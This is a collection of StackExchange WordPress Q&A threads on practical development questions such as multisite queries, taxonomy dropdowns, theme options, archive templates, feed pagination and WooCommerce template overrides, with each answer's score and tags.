Query multiple tables at once? I want to query all of the posts in my WordPress multi-site set-up looking for a certain string. This is only being done in Sequel Pro (on the command line) for my own inquisitive purposes but there has got to be a better way than copying and pasting the same query over and over again and just changing the table prefix... Let's say I have 3 sites, I want to find all of the posts that contain the word foo in them: SELECT * FROM wp_1_posts WHERE `post_content` LIKE '%foo%'; SELECT * FROM wp_2_posts WHERE `post_content` LIKE '%foo%'; SELECT * FROM wp_3_posts WHERE `post_content` LIKE '%foo%'; I don't want to have to run 3 queries and concat the results somehow. What I really want to do is SELECT * FROM wp_1_posts, wp_2_posts, wp_3_posts WHERE `post_content` LIKE '%foo%'; but that seems to only be meant for joining. Is there any way to do what I'm trying to do?
SELECT * FROM wp_posts, wp_2_posts, wp_3_posts WHERE wp_posts.post_content LIKE '%foo' OR wp_2_posts.post_content LIKE '%foo' OR wp_3_posts.post_content LIKE '%foo'; should do the trick. (Note that in Multisite, there shouldn't be a `wp_1_posts` \-- your root site uses `wp_posts` etc.)
stackexchange-wordpress
{ "answer_score": 3, "question_score": 0, "tags": "database, query, mysql, table" }
Best Practise: Linking to WPMU sites from other sites I'm digging through WPSE, and WP Codex/Core, and I am looking for essentially `wpmu_blog_link( $blog_id )`, which would essentially be `home_url()` with a parameter to pass the `blog_id`. I could easily just do <a href="/my_other_blog/">Link to blog 2</a> but it seems a little more hard-coded than necessary, and would break between development (localhost) and live. There's always function blog_home_url( $blog_id ) { switch_to_blog( $blog_id ); $url = home_url(); restore_current_blog(); return $url; } ... <a href="<?php echo blog_name_url( 2 ) ?>">Link to Blog 2</a> Just seeing if there is anything built-in.
Short answer but... `get_blogaddress_by_name` or `get_blogaddress_by_id` look to me like what you need. Both return the full blog URL.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "multisite, switch to blog" }
Display Taxonomy Terms in an option tag with value being the slug I have a custom taxonomy filled with terms that I wish to display in a fashion such as below. <option value="[SLUG]">[TERM]</option> <option value="[SLUG]">[TERM]</option> <option value="[SLUG]">[TERM]</option> ... I have attempted to use "wp_dropdown_categories" but I was unable to find a way to change the value="[TERM_ID]" to value="[SLUG]" I also tried to use "wp_list_categories" and have it display with out the li's hoping there was a tag like "wp_nav_menu" has with 'before'=>'','after'=>'' but the documentation for "wp_list_categories" doesn't seem to support that. If you have any ideas on how to accomplish this it would be much appreciated.
Use `get_terms` and output the term objects within whatever markup you need: $terms = get_terms( 'your-taxonomy' ); if ( $terms ){ echo '<select>'; foreach ( $terms as $term ) { echo '<option value="' . $term->slug . '">' . $term->name . '</option>'; } echo '</select>'; }
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "custom taxonomy, taxonomy, terms, slug, categories" }
For best DB performance should I serialize all theme options together or by type? If my theme has a lot of options is it better to store all options in one database entry, or to use a databse entry for each group of options? IE would I name all options like this `themeSlug[optionType_specificOption]` or like this: `themeSlug_optionType[specificOption]`?In the latter example if I need the settings for my post slider I would do `$sliderOptions = get_option('themeSlug_slider');`. I guess my question is do I see any performance benefit to making several smaller queries vs one large query for my options? Are their any other advantages/disadvantages to grouping my options into different entries?
All options with `autoload = yes` (default) are fetched very early in one query. So the number of options does affect performance only marginally. Split options if you don’t need everything on every page load. With … add_option( 'option_name', 'option_value', '', 'no' ); … you can set options that aren’t loaded before you actually call `get_option()`.
stackexchange-wordpress
{ "answer_score": 2, "question_score": 1, "tags": "theme development, database, mysql, theme options" }
Get user ID when action row link is clicked I have added an action row link to users.php so that when its clicked it links to a list table. To generate the data for the clicked user in my custom list table, I need to capture the user ID. I have all the code working but I don't know how to access the user ID of the user that was clicked. I am passing the user ID as user via the link so its show in my custom list table url. For example, admin.php?page=history_logger&user=3. < this might help.
> I am passing the user ID as user via the link so its show in my custom list table url. For example, admin.php?page=history_logger&user=3 The user ID is in the query variable. You can access it using a PHP global variable. `$_GET['user']` $user_id = $_GET['user']; Do not assume that this request (link) came from the Users Page. You should validate `$user_id` to be certain it is an integer and a valid user id before operating on it.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "users, wp list table, row actions" }
How to display all the categories a post is in How do I display all of the categories that a post is in, in sentence format. eg. cars, boats, aircraft, bicycles.
In the loop use `<?php the_category(', '); ?>` or outside the loop : $post_categories = wp_get_post_categories( $post_id ); foreach($post_categories as $c){ $cat = get_category( $c ); echo $cat->name . ","; }
stackexchange-wordpress
{ "answer_score": 0, "question_score": 1, "tags": "categories" }
how to put a custom field value in variable function zh_get_invoice_round_off_number() { global $post; return get_post_meta($post->ID, 'invoice_round_off_number', true); } function zh_invoice_round_off_number() { echo zh_get_invoice_round_off_number(); }
In the loop : $custom_fields = get_post_custom(the_ID()); $my_custom_field = $custom_fields['zh_invoice_round_off_number']; convert_number((int)$my_custom_field); Or with your function : $custom_value = zh_get_invoice_round_off_number(); echo convert_number( (int) $custom_value );
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "custom field, functions, variables, scripts" }
Call different archive page based on post type Ok, I have quite a few CPT's on my latest project. Most of the CPT's are only used to display metabox content linking to pdfs, etc. I looked around and couldn't find quite what I was looking for, but thought I could setup a function that calls the standard archive.php template if the post type is "posts" and if not it could call the archive-cpt.php file. If anyone has seen something like that, or has set something like that up and wouldn't mind sharing their code, it would be appreciated.
Take a look at the Template Hierarchy section of the Codex that concerns Custom Post types. > 1. archive-{post_type}.php - If the post type were product, WordPress would look for archive-product.php. > 2. archive.php > 3. index.php > What you are describing is built in, down to the file naming pattern-- `archive-cpt.php` To load the same template for all CPT archives use: function not_post_archive_wpse_107931($template) { if (is_post_type_archive()) { $template = get_stylesheet_directory().'/archive-cpt.php'; } return $template; } add_filter('template_include','not_post_archive_wpse_107931'); That will hijack all CPT archives so I would be very careful with it. It could lead to great frustration if someone can't figure out why a CPT archive is not loading the expected template. Barely tested. Possibly buggy. Caveat emptor. No refunds.
stackexchange-wordpress
{ "answer_score": 5, "question_score": 2, "tags": "custom post types, archives" }
Using Geo Data Store Plugin Code I'm trying to simply use the Geo Data Store Plugin Code functions from within my theme files and have never done this. I've tested the $sc_gds to see if isset, yet not getting anything when looping the array (eventually to loop through them as map markers) $type = "post_type"; $sc_gds = new sc_GeoDataStore(); $ids = (array) $sc_gds->getPostIDsOfInRange( $type, $radius, $lat, $lng ); foreach ($ids as $id) { print $id; } Can someone explain how to use plugin file's public static functions and any information for using getPostIDsOfInRange would be appreciated greatly.
I deleted the Geo Data Store plugin and reinstalled, in which my code worked upon refresh. I was able to use the functions from the plugin and so on. I casted as an array so as to use the output in my wp_query arguments $sc_gds = new sc_GeoDataStore(); $ids = (array) $sc_gds->getPostIDsOfInRange( $type, $radius, $lat, $lng ); $args = array('post__in' => $ids, 'post_type' => 'custom_post_type');
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "oop" }
Is it possible to create nested lists in the WYSIWYG editor? I'm looking to set up WP for a user that does not know or care about HTML, so I need everything to work in the WYSIWYG editor. She'll be working on posts that have lots of nested bullet lists, but I can't seem to figure out how to make it work. Any thoughts? Tabbing didn't work, clicking the buttons didn't work. Hitting 'indent' could be hacked into a solution, but it's certainly not ideal and I don't know how consistent it'll be. I know I can fiddle with the HTML, but like I said, I don't want to get into that. I can copy/paste from Word, but that's a terrible solution. I'm open to a plugin or alternate editor, though that's not ideal either.
In extended toolbar view (Alt+Shift+Z), Pressing the "indent" button to a list or part of list would be make it one step more deeper
stackexchange-wordpress
{ "answer_score": 10, "question_score": 4, "tags": "tinymce, visual editor, wysiwyg, posting" }
Remove a message in login page Under the login page of Wordpress, I have a message saying: > "Only registered and logged in users are allowed to view this site, please login". The problem is that I am **not** running an English installation of WordPress, and that this message is displayed in English. How can I remove this message or translate it? Under my element inspector, it is appearing like: <p class="message">Only registered and logged in users are allowed to view this site. Please login now<br></p> I dont know where the code responsible of generating this, also, if it is a core file, I am avoiding touching it. **Question:** How can I use a code in `functions.php` to hide this message or translate it?
You can read this article and then get the po an mo files your need to translate wordpress in your language. You can put these files `/wp-content/languages/`. This should translate your login page too. EDIT: if you're stuck with your issue you can hook some styles on login page and add some display none to the class message `.message{ display:none!important;}` To do such a thing just write this : function custom_login() { echo ' <style> .message { display:none!important;} </style>'; } add_action('login_head', 'custom_login');
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "login" }
Two stylesheets acting on one element I am trying to style one element with `max-width` and I was having problems. I discovered that the child theme stylesheet was being augmented by the original stylesheet with `width` at the same time. !enter image description here What gives? I could go in and remove the line from the parent theme but I worry about future-proofness?!?
When in doubt, `!important` it out! In the child, change it to `max-width:769px !important;`. That will force the page to be rendered with that style. I have a feeling the parent theme is using `@import` to get _custom.css_ (although I cant verify that). That could be screwing with things.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "child theme, css" }
get_the_categories filter returns an empty array I'm developing a theme that uses the `get_the_category_list()` function (in _category-template.php_ ). Examining its code, this function calls the `get_the_category()` function (in _category-template.php_ ) which applies the `get_the_categories` filter at the end: return apply_filters( 'get_the_categories', $categories ); For some strange reason, this filter returns an empty array. If I replace this line with: return $categories; then everything is ok. Any ideas about what's happening here?
Changes occur when a filter is _applied_, but's that's not where the rules for the alteration originate from. Either your theme or a plugin you are using must be _hooking_ into that filter and be _adding_ a callback function/method, that is responsible for the `$categories` array being emptied. Deactivate all plugins, switch to a standard theme. Things should be back to normal. Reactivate everything one by one and find the culprit. Alternatively, cd /path/to/wordpress/wp-content/plugins/ && grep -r 'get_the_categories' . from a *nix shell should also help you find it.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 1, "tags": "categories, filters" }
Require a featured image to publish post I have a multi author WordPress blog. I'd like to allow publishing of a post only when a featured image is set. How can that be done?
You can do something like this with the hook `pre_post_update` : function wpse_108013_mandatory_featured_image() { if(!has_post_thumbnail()) { // here you check if there's a featured image wp_die( 'Featured image must always be set !' ); // there is no featured image } } add_action( 'pre_post_update', 'wpse_108013_mandatory_featured_image' );
stackexchange-wordpress
{ "answer_score": 2, "question_score": 2, "tags": "posts, post thumbnails" }
White background, black text - the simplest on earth : "error"! On my site in localhost, why a simple "error" doesn't pass/permit to do anything at all? !WordPress site "error" I browsed the homepage of the project `localhost/creative/`, it's Ok. After then, I entered `localhost/creative/wp-admin` and it goes into "error". Then I tried the homepage again: that's go wrong too: "error". I retried: * Clearing browser cache & history * Using different browsers, etc. * Waiting for 5 minutes, and then 10... And SUDDENLY it's back on. :) But the question is: **_WHY?_** Because, this is not the first time, it happened several times, before. :(
I figured out the bug with enabling the debug (as suggested by David Kryzaniak): define('WP_DEBUG', true); Found the bug, it's generating by any of three plugins. I renamed the `plugins` folder to `plugins1`, and it's live again. ### EDIT Found a Tutorial on how to proceed on such error from Tuts+, anybody interested in : * **Fixing the WordPress White Screen of Death** \- Tuts+ _by_ Sam Berson There are issues discussed like: 1. Checking Your Plugins 2. Increasing the PHP Memory Limit 3. Replacing the Theme 4. Enabling Debug Mode
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "errors" }
My website is getting too many dierect home arechives and this is increasing my bounce rate My website is getting nearly 800 direct home archives daily, as a result the bounce rate of my website has increased. Usually i get only around 30 home archives a day These hits are not from Google, so how can i stop them. Actually in my Wordpress Jetpack stats my home archives are going around 800 a day which only used to be around 30 a day, so i think some one is giving fake clicks to my website. So the bounce rate of my website is increasing day by day because these hits are not from any of the search engines and most of these home archives are from india and usa. So please help me by providing some way out please.
It sounds like google (and/or other search engines) _could_ have made an error when indexing your site (but I highly doubt it). You shouldn't have that many hit going to your archive pages. Recovery steps: Signup for Google Analytics. Use this to determine where those hit are coming from. (GA is more detailed then JetPack Analytics. I've also seen errors in JP's reportings) Signup for Google Webmaster Tools. This is so you can see how google is hitting your site and what it's indexing. (you can also request that a page not be indexed) Find a plugin that can generate a XML site map for search engines. I like <
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "wp query, security" }
Getting comment count per post not working I have this function: <?php $popular = new WP_Query('orderby=comment_count&posts_per_page=5'); ?> <?php while ($popular->have_posts()) : $popular->the_post(); ?> <li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a> </li> <?php endwhile; ?> Where I added `$popular->wp_comment_count`, but it did not work at all. How do I do this? I want to let see the comment count per post...
Try this: <?php $popular = new WP_Query('orderby=comment_count&posts_per_page=5'); ?> <?php while ($popular->have_posts()) : $popular->the_post(); ?> <li><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a> has <?php comments_number( 'no responses', 'one response', '% responses' ); ?>.</li> <?php endwhile; ?> From the codex.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 0, "tags": "functions, count, comments" }
margins in between pagination links Any ideas how I could increase the spaces between the pagination links on my site? < I'm guessing adding some padding code to the custom.css maybe? I'm a beginner. Thank you for any advice.
Sure, try this in the custom.css file: `.wp-pagenavi a { margin-right: 5px; }`
stackexchange-wordpress
{ "answer_score": 0, "question_score": -1, "tags": "pagination" }
Translating plugin or locale file I need to have custom translation for a single country and give people the option to select between it and english... is there a plugin to provide a alternate set of text for pages and posts? thanks
Lots of plugins exist for human translation (as distinct from automatic machine translation). Here's a blog post that lists and compares some of the best ones: < In my personal experience, WordPress Multilingual seems to be the most solid one for a long-term commitment: < They have a few different price options (including free for non-profits). Regardless their pricing, their support is excellent, and they will work with you to help you when you run into difficulty.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 1, "tags": "translation" }
Simultaneously post in both WordPress.com and self hosted WordPress blog I have a friend that wants to move her WordPress.com blog to self hosted. That part is done, except she would like to keep the WordPress.com blog going along the new self hosted. Is there a way to post simultaneously to both? I thought of making a plugin to post to Wordpress.com when she publishes on her self hosted blog. Is that possible? Ideally, she would post in her self hosted, and it would automatically post to WordPress.com.
She could install a plugin like DJ Email Publish on her self-hosted blog. This will republish any post she creates to any blog that accepts e-mail posts. This will allow her to write a post using any method she chooses on the self-hosted blog, and it will reappear on her WordPress.com blog.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "plugins, wordpress.com hosting" }
Show single post then all posts (with pagination) On my `single.php` I would like to show the single post then list all the posts with a pagination. I use the following code: <?php while ( have_posts() ) : the_post(); ?> <!-- Show single post --> <?php endwhile; ?> <?php $page = (get_query_var('paged')) ? get_query_var('paged') : 1; $all_posts_query = new WP_Query( array('posts_per_page' => 12, 'paged' => $page)); while($all_posts_query->have_posts()) : $all_posts_query->the_post(); ?> <!-- Show all the posts --> <?php endwhile; wp_reset_postdata(); ?> <?php next_posts_link('older', '', 'yes'); ?> As result I can see the single post then the first 12 posts and that all, no pager... Thanks a lot for your time.
Pagination does not work well will with secondary queries. First, the ordinary pagination functions depend upon the main query in the `global` variable `$wp_query`. They won't work with secondary queries. There are already a number of questions here about that if you search the site. Second, trying to paginate secondary queries tends to result in 404 status pages. That is because the query that runs before the template loads-- the "main" query-- is the one that determines what page to load and it _does not_ know about the query written into your template. I would suggest you use `paginate_links` for your secondary query pagination. There are numerous examples of use here on this site, for example: <
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "wp query, pagination, single" }
localization for Permalink Originally, wordpress creates permalink like **/2013/07/** , **/archives/123** here I want to localize with my native numeric numbers . is it possible to do like that ?
Under permalink settings you want to use `Custom Structure` you can then customise it using the structure tags see < this would allow you to add post id and author to the permalink for example. /%year%/%monthnum%/%day%/%postname%/%postid%/%author%/ All depending on what you need if you can be more specific about what you mean by native numbers this answer can be expanded.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "permalinks, localization, language" }
Query Custom Post by taxonomy multiple categories I need to query posts using certain taxonomy category, but more than one category of the taxonomy, as I can with posts categories.. For example, I have the **Portfolio** custom posts, and the **Project Type** to organize it (same as categories); So, we have **Animation, draw, icons and painting** types of project. I need to create an loop that will query **animations and painting** types only (query more than one king of portfolio type). I thinked that tax_query would do it, but this tax_query selects only posts that are in the **animations and paintings at the same time** My last code was: $args['tax_query'] = array( array( 'taxonomy' => 'project-type', 'field' => 'id', 'terms' => array(1,2) // don't work as I need, it's a exclusion) ) Thank you in advance!
This should give you an `OR` relationship: $args['tax_query'] = array( array( 'taxonomy' => 'category', 'field' => 'id', 'terms' => array(1,2), 'operator' => 'IN' ) ); As would this: $args['tax_query'] = array( 'relation' => 'OR', array( 'taxonomy' => 'project-type', 'field' => 'id', 'terms' => array(1) ), array( 'taxonomy' => 'project-type', 'field' => 'id', 'terms' => array(2) ) ); Be aware that that will become increasingly inefficient as you add more terms. It should perform tolerably with just two. The first version is neater and probably performs better in general, unless you need to search by multiple taxonomies.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "custom post types, custom taxonomy, query" }
Show posted on date only for posts in a certain category I am using a lot of custom post types throught my site and don't want to show a "posted on" date on them. I only want date to be shown for the post in "Featured" category. I've made some changes in loop: swapped `<?php twentyten_posted_on(); ?>` with `<?php if($category->name == 'Featured'){twentyten_posted_on();} ?>` Now the date is gone everywhere, including the posts within "Featured" category as well... What am I doing wrong?
I do not see why you want to do such a thing but it would be easier to proceed like that : if( has_category('Featured') ) twentyten_posted_on();
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "categories, loop" }
Custom Field add markup to line breaks I am looking for a solution to add markup to a custom field with multiple lines. Much like wpautop, but with customization. I'm not quite sure to approach this with a custom function or something built into WordPress. Custom Field text would be: Line 1 Line 2 Line 3 Code output would add markup: <span>Line 1</span> <span>Line 2</span> <span>Line 3</span>
I believe this is what you are after: // define $post_id, $key, $single $multipleLineValue = get_post_meta($post_id, $key, $single); // Convert into an array where desired code can be added to the output $multipleLineValue = explode("\n",$multipleLineValue); $output = ""; foreach ($multipleLineValue as $lineValue) { $output .= "<span>".$lineValue."</span><br>"; } echo $output;
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "custom field, wp autop" }
Change query variable for wordpress search When we do a search in wordpress the url appears like this: But I am using s= query variable for another purpose. so I wish to change default wordpress s= to search=. The updated code should not work of s= for wordpress search, instead it should only support search=. I tried a code snippet from < It works but it accepts both s= and search=. I need it to work only for search=
The code you found works not by changing the query variable but by converting another variable into the `s` variable that WordPress expects. If you look at the `WP_Query` object, that `s` parameter is pretty deeply embedded into Core functionality. The simple solution, and perhaps the only one, is to choose some other parameter for _your_ purpose rather than attempt to hijack one that is hard-coded into fundamental Core WordPress code.
stackexchange-wordpress
{ "answer_score": 4, "question_score": 1, "tags": "search" }
Get post ID's from one query and exclude from another I have 2 instances of the `WP_Query` class, one showing 4 "Featured" posts and another showing "basic" posts. What I want to do is exclude those 4 latest "Featured" posts from the basic query. I assume it's just a case of adding a `post__not_in` variable but how can I get the ID's from the first query and exclude them from the second?
While running the loop of the first query, just collect the IDs into an array. Example: // define your first query's arguments $args1 = array( ... your first query args ); $query1 = new WP_Query($args1); while ( $query1->have_posts() ): $query1->the_post(); // this is your loop. Do whatever you want here // add this in the loop to collect the post IDs $exclude_posts[] = $post->ID; endwhile; // define your second query's arguments $args2 = array( 'post__not_in' => $exclude_posts, ... rest of your parameters ); $query2 = new WP_Query($args2); while ( $query2->have_posts() ): $query2->the_post(); // this is your second loop. Do whatever you want here endwhile; wp_reset_postdata();
stackexchange-wordpress
{ "answer_score": 3, "question_score": 2, "tags": "wp query" }
Pagination of RSS2 feed How to have pagination of RSS2 feed ? My current RSS link is similar to : I tried: But WordPress still returns me with same set of result, given that I set 10 posts per page in > Dashboard > Settings > Reading > Syndication feeds show the most recent (of course I have more than 10 posts)
You want to use `paged` not `page` in the request and it should work. You can find more information about WordPress pagination paged parameter here.
stackexchange-wordpress
{ "answer_score": 15, "question_score": 6, "tags": "pagination, rss" }
Refresh loop of custom posts (div) after new post is published **GOAL** Wondering if following should be done, I would like to (ajax?) refresh not necessary only (custom) post type loop or div example custom post query : <div class="refreshed posts"> <?php global $post; $myposts = get_posts('post_type=employer&numberposts=5&orderby=modified&offset=0'); foreach($myposts as $post) : setup_postdata($post); ?> </div> **CONCLUSION** Auto refresh posts can help my website users to see that when for example somebody submits a post type employer entry, at the same moment all online users can see all updated "employer" posts including that one submitted post. I would like to avoid using plugins. In the similar manner uses facebook etc their notifications (I believe they scheduled to refresh in minute intervals)
With the Wordpress 3.6 heartbit Api this should be easier. With previous Wordpress version you have to play with ajax and js `setInterval()` function. ## Edit @Daniel Foltynek suggest this plugin.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "ajax" }
wp_query, give first post different formatting I want to be able to give the first post in a custom instance of `wp_query` different formatting to the rest. This is a sample of my current loop (With some bits simplified to shorten my code); $args1 = array( 'post_type' => 'post', 'posts_per_page' => 4 ); $loop = new WP_Query($args); while ($loop->have_posts()) : $loop->the_post(); echo '<h2><a href="'.the_permalink().'">'.the_title().'</a></h2>'; endwhile; wp_reset_postdata(); But for the first post in this loop I want to formatting to be different so that I can show the post thumbnail, a short content excerpt, etc.
Hope I'm understanding you correctly could you not just do something simple like this $args1 = array( 'post_type' => 'post', 'posts_per_page' => 4 ); $loop = new WP_Query($args); while ($loop->have_posts()) : $loop->the_post(); echo '<h2><a href="'.the_permalink().'">'.the_title().'</a></h2>'; if ($loop->current_post == 0) { echo the_post_thumbnail(); echo the_excerpt(); } endwhile; wp_reset_postdata();
stackexchange-wordpress
{ "answer_score": 3, "question_score": 2, "tags": "wp query" }
How do you turn on comments for only the last page of a paginated post? I have a single post with page breaks, but I only want to show comments and the ability to comment on the last page. Is this possible with WordPress?
The easiest thing to do is to wrap the code that displays the comments in a conditional like this: if ($page === $numpages) { echo 'last page'; // this is the last of the <!--nextpage--> pages } That requires a theme edit, so it is only a good solution if this is a theme you've constructed and maintain. The variables (`global`) `$page` and `$numpages` are set by `setup_postdata()` and so should be reliable inside any _properly constructed_ Loop.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 1, "tags": "comments, pagination" }
How to edit wordpress native gallery's css file? I want to edit my gallery's css file. Where do I find it? or Am I override it? PS: I've got 5 different gallery in 5 different page..
If you want to override the default gallery CSS, first, unhook the core-defined CSS: add_filter( 'use_default_gallery_style', '__return_false' ); Then, you can add your own CSS, however you wish - using your Theme `style.css`, or via separate CSS file that you enqueue, etc.
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "css, gallery" }
Use Wordpress Built In Jquery I see that on every page Wordpress is loading in jquery, how do I go about using that jquery as it keeps telling me that it doesn't recognize `$` or `$noConflict();` \- I'm trying to add some jquery under `wp_head()`.
The jQuery object is `jQuery` rather than `$`. See noConflict wrappers in `wp_enqueue_script` for some examples. jQuery(document).ready(function($) { // Inside of this function, $() will work as an alias for jQuery() // and other libraries also using $ will not be accessible under this shortcut });
stackexchange-wordpress
{ "answer_score": 2, "question_score": -2, "tags": "jquery, javascript, headers, wp head" }
slide change on hover with nextgen scrollgallery My jquery skill is pretty bad, so I can not seem to achieve this. I have a nextgen gallery album that has a scroll gallery showing the images in a slideshow. I want to change the slides on hover rather than on click. I know it is pretty simple, but I have no idea how to actually do it.
Solution I am providing intiates the click event when mouse enters the thumbnail (with a delay to avoid passing mouse events). jQuery('.scrollgallery .thumbarea img').hover(function(e){ this.ScrollGalleryHover = setTimeout('initiateClick("'+jQuery(this).attr('src')+'");',500); },function(e) { clearTimeout(this.ScrollGalleryHover); }); function initiateClick(src) { jQuery('.scrollgallery .thumbarea img[src="'+src+'"]').click(); }
stackexchange-wordpress
{ "answer_score": 0, "question_score": 0, "tags": "jquery, plugin nextgen gallery, slideshow" }
Find only those galleries with images Is there a way in WordPress to use `WP_Query` and retrieve posts/galleries that have more than 0 metavalues with the key `_gallery_image_ids`? Essentially I don't want to display galleries that have no images.
I believe that a relatively simple `meta_query` would do it. $args = array( 'post_type' => 'post', 'meta_query' => array( array( 'key' => '_gallery_image_ids', 'value' => '', 'compare' => 'EXISTS' ) ) ); $query = new WP_Query( $args ); # Reference: <
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "wp query, images, gallery" }
Woocommerce override mini-cart.php not working I am trying to override `mini-cart.php` which is template file located at `woocommerce/cart/mini-cart.php`. It should override behaviour of woocommerce widget cart but it isnt working. I can make any changes to the file but it looks like it is still loading from some other place and it is not overriden. I have also tried modifying core template files of woocommerce and deleting mini-cart.php from it but widget is still working. However `mini-cart.php` structure looks exactly the same as html structure generated in final. But it looks like woocommerce isnt using this file so it has probably changed by some update and mini-cart.php is just remain from later versions. Any ideas what file should I override to change look of widget cart? I dont want to completely override whole core widget cart class because I just want to change one `<span>` to `<p>`. Thanks in forward
Have you made sure to copy the mini-cart.php into yourtheme/woocommerce/cart/ not just yourtheme/woocommerce I can say for certain this works in Woocommerce version 2.0.12 Also if your saying that editing the core file isn't working is it possible that its getting override some where else in your theme. Could be worth searching your theme directory code for `woocommerce_before_mini_cart` seeing if thats used some where else.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 9, "tags": "plugins, woocommerce offtopic" }
wp_nav_menu with WP as pure CMS I'm trying to use WP as a pure backend CMS for my site. I've got a few pages setup in WP e.g. About, Main Page, Sample Page and I can display the content on my own php pages by using `get_page_by_title`. However when I try to use `wp_nav_menu` to generate the navigation elements, the links generated are in the form of `www.example.com/wordpress/?page=2`. I know I can change WP to use nice permalinks to get `www.example.com/wordpress/about` but I'd like to customise it further so that the link would read `www.example.com/about` e.g. skip the wordpress install location. Is this possible and how can I do it?
> I know I can change WP to use nice permalinks to get `www.example.com/wordpress/about` but I'd like to customise it further so that the link would read `www.example.com/about` e.g. skip the wordpress install location. **Rather than "skipping the location", point your domain _to the location_. Or install WP to your root, respectively.** You _could_ obviously do some rewriting as well, but why go the long way if the solution is simple? As for pretty permalinks: However you go about it, this is a necessary step on the way. Hence set your permalink structure to something along the lines of `/%year%/%postname%/`. There used to be performance downsides to using just `/%postname%/`, which have been fixed with 3.3, but I tend to still not use that only. Pages will ignore `/%year%/` anyway. And should you ever decide to use the blog functionality as well, I don't find a year structure hurtful. Up to you.
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "menus, cms" }
Turn raw url into clickable links I have a custom field that contains a bunch of urls in it. I want them to be clickable links in that custom field only. How can I do this? I could just manually convert them to html links but that's too time consuming for 100+ links
Use the function `make_clickable()`: $text = get_post_meta( get_the_ID(), 'my_key', TRUE ); echo make_clickable( $text );
stackexchange-wordpress
{ "answer_score": 4, "question_score": 0, "tags": "custom field, links" }
Order posts alphabetically: how to set order=asc in mysql query? I have this `function`: global $wpdb; // adjust the query to fit your needs $posts = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' AND post_title LIKE %s", How do I set the order => ASC in this query? I want to show my `posts` alphabetically...
Why don't you use WordPress get_posts? You can add the parameter orderby => 'title' as you want. $args = array( 'posts_per_page' => -1, 'order' => 'ASC', 'orderby' => 'title' ); $posts = get_posts( $args ); print_r($posts); If you want the sql you can just add `ORDER BY post_title`: SELECT * FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' AND post_title LIKE %s ORDER BY post_title
stackexchange-wordpress
{ "answer_score": 4, "question_score": 0, "tags": "posts, functions, query posts, mysql, order" }
Why does Wordpress search returns same number of results for every search query? I am hitting a brick wall, I am searching something on a site I am building and on every search it returns 10 results when I know in the index in relevanssi it shows more for the term I am searching on. Does anyone know what the issue is with it? Thanks, Mark
I'm pretty sure that it's pagination problem. WordPress paginates all queries by default. And default value for `posts_per_page` is 10, I guess. So if you don't override this parameter and you don't show pagination on your page, then you'll see only 10 results (first page of results). Is it your own query? If so, add `'posts_per_page' => -1` to it. If not, add pagination to search results page (or change number of posts per page in settings).
stackexchange-wordpress
{ "answer_score": 1, "question_score": 0, "tags": "posts, wp query, search" }
Changing the default header name Is it possible to change the default header.php file to something else for security reasons? It seems header.php is target for malicious attacks. I know all that, we have different named headers, I am talking about the default one. For example instead of header.php rename it to imcool.php and I don't appreciate the negative point. All the default files index.php, admin as a user, header are always targets for malicious attacks including injection.
Yes, it is possible. You can name this file whatever you want. In this case, you should use `get_template_part` instead of `get_header` to include this file in other templates. Or you can name it `header-something.php` and then use `get_header('something')`. PS. I hope I haven't misunderstood your question.
stackexchange-wordpress
{ "answer_score": 3, "question_score": 0, "tags": "security" }
How to intercept already localized scripts If a plugin uses some script (prominent example: jQuery UI Datepicker), but you're not happy with how the script renders the output, then there're two possibilities: ## 1\. Unregister the script > Add your own version So first you'd need to check the handle, then find the priority and the hook (`wp_enqueue_scripts`, `login_enqueue_scripts`, etc.) ... you know the drill. ## 2\. Change the jQuery plugin parameters Normally - if the plugin isn't crap - it pushes through the parameters from PHP to JS using wp_localize_script( $handle, $object_name, array( // data ) ); Now this is a smart way of adding your data to a JS script, **but** ... it's not filterable by default. Neither `WP_Scripts` nor `WP_Dependencies` offers _any_ filter users can later utilize > **Question:** How can we filter the arguments/parameters that are moved from PHP to Javascript using `wp_localize_script`?
`wp_localize_script()` calls the method `localize()` on the global variable `$wp_scripts`. We can set this variable to an instance of a _child_ class of `WP_Scripts`: class Filterable_Scripts extends WP_Scripts { function localize( $handle, $object_name, $l10n ) { $l10n = apply_filters( 'script_l10n', $l10n, $handle, $object_name ); return parent::localize($handle, $object_name, $l10n); } } add_action( 'wp_loaded', function() { $GLOBALS['wp_scripts'] = new Filterable_Scripts; }); The theme customizer doesn’t use that, it creates a separate instance of `WP_Scripts` (see `wp-admin/customize.php`). It might be possible to replace that too: add_action( 'customize_controls_init', function() { $GLOBALS['wp_scripts'] = new Filterable_Scripts; $GLOBALS['wp_scripts']->registered = $GLOBALS['registered']; }); None of this has been tested, just an idea.
stackexchange-wordpress
{ "answer_score": 10, "question_score": 11, "tags": "javascript, configuration, wp localize script" }
